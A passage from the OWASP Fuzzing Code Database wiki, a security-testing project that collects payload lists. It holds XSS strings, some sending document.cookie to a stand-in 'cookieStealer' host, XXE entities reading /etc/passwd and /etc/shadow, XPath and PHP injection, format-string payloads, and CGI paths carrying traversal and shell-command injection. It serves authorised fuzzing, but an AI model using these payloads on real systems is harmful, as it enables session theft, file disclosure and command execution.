src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80086 2010-03-17T21:19:48Z

<p>Adam.muntner: /* Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> 